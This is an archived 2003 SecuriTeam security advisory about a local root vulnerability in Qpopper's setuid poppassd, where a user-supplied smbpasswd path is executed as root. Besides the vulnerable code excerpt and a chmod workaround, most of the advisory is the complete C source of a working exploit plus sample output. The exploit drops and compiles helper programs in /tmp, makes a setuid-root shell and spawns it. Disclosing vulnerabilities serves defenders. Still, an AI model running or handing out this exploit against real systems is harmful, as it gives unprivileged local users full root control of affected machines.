[UNIX] Poppassd Local Root Vulnerability and Exploit (smbpasswd)

support_at_securiteam.com
Date: 04/28/03

  • Next message: SecuriTeam: "[UNIX] PTNews Vulnerability Allows Administrator Access without Authentication"
    To: list@securiteam.com
    Date: 28 Apr 2003 18:17:44 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      Poppassd Local Root Vulnerability and Exploit (smbpasswd)
    ------------------------------------------------------------------------

    SUMMARY

     <http://netwinsite.com/poppassd/> Poppassd is "a program that changes
    system passwords thus allowing users to change their mail passwords".
    INetCop found a security bug in the Poppassd program that is included with
    Qpopper v4.0.x. Through this vulnerability, a local use is able to execute
    arbitrary command as root (allowing him to elevate his security
    privileges).

    DETAILS

    Vulnerable systems:
     * Poppassd version 4.0.5b2
     * Qpopper version 4.0.5 and prior

    Vulnerable code:
    In the dochild() function found at line 711 of 'password/poppassd.c' file:
        __
            ...
       170 #define PASSWD_BINARY "/usr/bin/passwd" /* TBD: config.h */
       171 #define SMBPASSWD_BINARY "/usr/bin/smbpasswd" /* TBD: config.h */
            ...
       711 int dochild (int master, char *slavedev, char *userid, int smb)
       712 {
            ...
       781 if (!smb)
       782 {
       784 setregid ( pw->pw_gid, pw->pw_gid ); // It's natural.
       785 setreuid ( pw->pw_uid, pw->pw_uid ); // It's natural. ;-)
       786
       787 execl ( pwd_binary, "passwd", NULL ); // ok, is executed by general
    user.
       788
       789 err_msg ( HERE, "can't exec %s", pwd_binary );
       790 exit ( 1 );
       791 }
       792 else
       793 {
       794 TRACE ( trace_file, POP_DEBUG, HERE, "...changing smb password" );
       795 execl ( smb_binary, "smbpasswd", userid, NULL ); // Ooops, is
    executed by root user.
       796
       797 err_msg ( HERE, "can't exec %s", smb_binary );
       798 exit ( 1 );
       799 }
       800 }
            ...
        --

    The setuid settings of "/usr/bin/smbpasswd" are not established. This
    allows local attackers to execute arbitrary commands as root. What makes
    this even more of a security vulnerability is the fact that the path to
    which the Poppassd program finds the smbpasswd is user controlled.

    --
    [x82@xpl017elz password]$ cat Makefile | grep install
    # * - Added patch by Steven Champeon to fix install and lib.
    installdir = ${exec_prefix}/bin
    INSTALL = /usr/bin/install -c
    install:
            ${INSTALL} -m 4755 -o root -g 0 poppassd ${installdir}/poppassd; \
            echo "Installed poppassd as ${installdir}/poppassd"
    [x82@xpl017elz password]$ pwd
    /qpopper4.0.5/password
    [x82@xpl017elz password]$ ls -al /usr/local/bin/poppassd
    -rwsr-xr-x 1 root root 108300 Apr 17 00:55 /usr/local/bin/poppassd
    [x82@xpl017elz password]$ poppassd -?
    poppassd [-?] [-d] [-l 0|1|2] [-p [passd-path]] [-R] [-s [smbpasswd-path]]
            [-t trace-file] [-v] [-y log-facility]
    [x82@xpl017elz password]$
    --
    Workaround:
    Can reduce danger by removing the setuid, or change its group settings to 
    that of the wheel group.
    # chmod -s poppassd
    Or,
    # chgrp wheel poppassd
    # chmod o-rx poppassd
    # chmod u+s poppassd
    Exploit
    [x82@xpl017elz /tmp]$ ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd
     Qpopper v4.0.x poppassd local root exploit.
                                    by Xpl017Elz
     [+] make code.
     [+] execute poppassd.
     200 xpl017elz poppassd v4.0.5b2 hello, who are you?
     [+] input username.
     200 your password please.
     [+] input password.
     200 your new password please.
     [+] input fake new password.
     [+] wait, 2sec.
     [+] Ok, exploited successfully.
     [*] It's Rootshell !
    [root@xpl017elz /root]# id
    uid=0(root) gid=0(root) 
    groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
    [root@xpl017elz /root]#
    /*
    **
    ** [+] Title: Qpopper v4.0.x poppassd local root exploit.
    ** [+] Exploit code: 0x82-Local.Qp0ppa55d.c
    **
    ** --
    ** [x82@xpl017elz /tmp]$ ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd
    **
    ** Qpopper v4.0.x poppassd local root exploit.
    ** by Xpl017Elz
    **
    ** [+] make code.
    ** [+] execute poppassd.
    ** 200 xpl017elz poppassd v4.0.5b2 hello, who are you?
    ** [+] input username.
    ** 200 your password please.
    ** [+] input password.
    ** 200 your new password please.
    ** [+] input fake new password.
    ** [+] wait, 2sec.
    ** [+] Ok, exploited successfully.
    ** [*] It's Rootshell !
    **
    ** [root@xpl017elz /root]#
    **
    ** --
    ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
    ** My World: http://x82.i21c.net & http://x82.inetcop.org
    **
    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #define BUF_SZ 0x82
    #define D_POPPASS "/usr/local/bin/poppassd"
    #define D_NAME "Happy-Exploit"
    #define D_SHELL "/tmp/x82"
    #define D_EXEC "/tmp/x0x"
    int m_sh();
    void banrl();
    void usage(char *p_name);
    struct stat ss;
    void usage(char *p_name)
    {
      fprintf(stdout," Usage: %s -option [argument]\n",p_name);
      fprintf(stdout,"\n\t-u - Qpopper username.\n");
      fprintf(stdout,"\t-p - Qpopper password.\n");
      fprintf(stdout,"\t-t - Qpopper poppassd path.\n");
      fprintf(stdout,"\t-h - Help information.\n\n");
      fprintf(stdout," Example> %s -u x82 -p %s\n\n",p_name,D_NAME);
      exit(-1);
    }
    int m_sh()
    {
      char d_shell[BUF_SZ]=D_SHELL;
      char sh_drop[BUF_SZ];
      FILE *fp;
      
      memset((char *)sh_drop,0,sizeof(sh_drop));
      snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
      
      if((fp=fopen(sh_drop,"w"))==NULL)
      {
        perror(" [-] fopen() error");
        exit(-1);
      }
      
      fprintf(fp,"main() {\n");
      fprintf(fp,"setreuid(0,0);\nsetregid(0,0);\n");
      fprintf(fp,"setuid(0);\nsetgid(0);\n");
      fprintf(fp,"system(\"su -\");\n}\n");
      
      fclose(fp);
      memset((char *)sh_drop,0,sizeof(sh_drop));
      snprintf(sh_drop,sizeof(sh_drop)-1,
        "gcc -o %s %s.c >/dev/null 2>&1;"
        "rm -f %s.c >/dev/null 2>&1",
        d_shell,d_shell,d_shell);
      system(sh_drop);
      
      memset((char *)d_shell,0,sizeof(d_shell));
      strncpy(d_shell,D_EXEC,sizeof(d_shell)-1);
      
      memset((char *)sh_drop,0,sizeof(sh_drop));
      snprintf(sh_drop,sizeof(sh_drop)-1,"%s.c",d_shell);
      
      if((fp=fopen(sh_drop,"w"))==NULL)
      {
        perror(" [-] fopen() error");
        exit(-1);
      }
      
      fprintf(fp,"main() {\n");
      fprintf(fp,"setreuid(0,0);\nsetregid(0,0);\n");
      fprintf(fp,"setuid(0);\nsetgid(0);\n");
      fprintf(fp,"system(\"chown root: %s\");\n",D_SHELL);
      fprintf(fp,"system(\"chmod 6755 %s\");\n}\n",D_SHELL);
      
      fclose(fp);
      memset((char *)sh_drop,0,sizeof(sh_drop));
      snprintf(sh_drop,sizeof(sh_drop)-1,
        "gcc -o %s %s.c >/dev/null 2>&1;"
        "rm -f %s.c >/dev/null 2>&1",
        d_shell,d_shell,d_shell);
      system(sh_drop);
      if((stat(D_SHELL,&ss)==0)&&(stat(D_EXEC,&ss)==0))
      {
        fprintf(stdout," [+] make code.\n");
        return(0);
      }
      else
      {
        fprintf(stderr," [-] code not found.\n");
        return(-1);
      }
    }
    int main(int argc, char *argv[])
    {
      int whtl;
      char user_id[BUF_SZ]=D_NAME;
      char passwd[BUF_SZ]=D_NAME;
      char tg_path[BUF_SZ]=D_POPPASS;
      char df_sh[BUF_SZ]=D_SHELL;
      (void)banrl();
      
      while((whtl=getopt(argc,argv,"U:u:P:p:T:t:Hh"))!=-1)
      {
        extern char *optarg;
        switch(whtl)
        {
          case 'U':
          case 'u':
            memset((char *)user_id,0,sizeof(user_id));
            strncpy(user_id,optarg,sizeof(user_id)-1);
            break;
            
          case 'P':
          case 'p':
            memset((char *)passwd,0,sizeof(passwd));
            strncpy(passwd,optarg,sizeof(passwd)-1);
            break;
            
          case 'T':
          case 't':
            memset((char *)tg_path,0,sizeof(tg_path));
            strncpy(tg_path,optarg,sizeof(tg_path)-1);
            break;
            
          case 'H':
          case 'h':
            (void)usage(argv[0]);
            break;
            
          case '?':
            fprintf(stderr," Try `%s -i' for more information.\n\n",argv[0]);
            exit(-1);
            break;
        }
      }
      
      if(!strcmp(user_id,D_NAME)||!strcmp(passwd,D_NAME))
      {
        (void)usage(argv[0]);
        exit(-1);
      }
      else
      {
        char comm[1024];
        int out[2],in[2];
        if(((int)m_sh())==-1)
        {
          fprintf(stdout," [-] exploit failed.\n\n");
          exit(-1);
        }
        if(pipe(out)==-1)
        {
          perror(" [-] pipe() error");
          exit(-1);
        }
        
        if(pipe(in)==-1)
        {
          perror(" [-] pipe() error");
          exit(-1);
        }
        
        switch(fork())
        {
          case -1:
            perror(" [-] fork() error");
            break;
          case 0:
            close(out[0]);
            close(in[1]);
            
            dup2(out[1],STDOUT_FILENO);
            dup2(in[0],STDIN_FILENO);
            
            execl(tg_path,tg_path,"-s",D_EXEC,0);
            break;
          default:
            close(out[1]);
            close(in[0]);
            fprintf(stdout," [+] execute poppassd.\n");
            memset((char *)comm,0,sizeof(comm));
            read(out[0],comm,sizeof(comm)-1);
            fprintf(stdout," %s",comm);
            memset((char *)comm,0,sizeof(comm));
            snprintf(comm,sizeof(comm)-1,"user %s\r\n",user_id);
            fprintf(stdout," [+] input username.\n");
            write(in[1],comm,strlen(comm));
            memset((char *)comm,0,sizeof(comm));
            read(out[0],comm,sizeof(comm)-1);
            fprintf(stdout," %s",comm);
            memset((char *)comm,0,sizeof(comm));
            snprintf(comm,sizeof(comm)-1,"pass %s\r\n",passwd);
            fprintf(stdout," [+] input password.\n");
            write(in[1],comm,strlen(comm));
            memset((char *)comm,0,sizeof(comm));
            read(out[0],comm,sizeof(comm)-1);
            fprintf(stdout," %s",comm);
            memset((char *)comm,0,sizeof(comm));
            snprintf(comm,sizeof(comm)-1,"newpass %s\r\n",passwd);
            fprintf(stdout," [+] input fake new password.\n");
            write(in[1],comm,strlen(comm));
            close(out[0]);
            close(in[1]);
            break;
        }
        fprintf(stdout," [+] wait, 2sec.\n");
        sleep(2);
        if((stat(D_SHELL,&ss)==0)&&(ss.st_mode&S_ISUID))
        {
          fprintf(stdout," [+] Ok, exploited successfully.\n");
          fprintf(stdout," [*] It's Rootshell !\n\n");
          unlink(D_EXEC);
          execl(D_SHELL,D_SHELL,0);
        }
        else
        {
          fprintf(stdout," [-] exploit failed.\n\n");
          exit(-1);
        }
      }
    }
    void banrl()
    {
      fprintf(stdout,"\n Qpopper v4.0.x poppassd local root exploit.\n");
      fprintf(stdout," by Xpl017Elz\n\n");
    }
    ADDITIONAL INFORMATION
    The information has been provided by  <mailto:xploit@hackermail.com> 
    dong-h0un U of INetCop.
    ======================================== 
    This bulletin is sent to members of the SecuriTeam mailing list. 
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com 
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com 
    ==================== 
    ==================== 
    DISCLAIMER: 
    The information in this bulletin is provided "AS IS" without warranty of any kind. 
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. 
    

  • Next message: SecuriTeam: "[UNIX] PTNews Vulnerability Allows Administrator Access without Authentication"

    Relevant Pages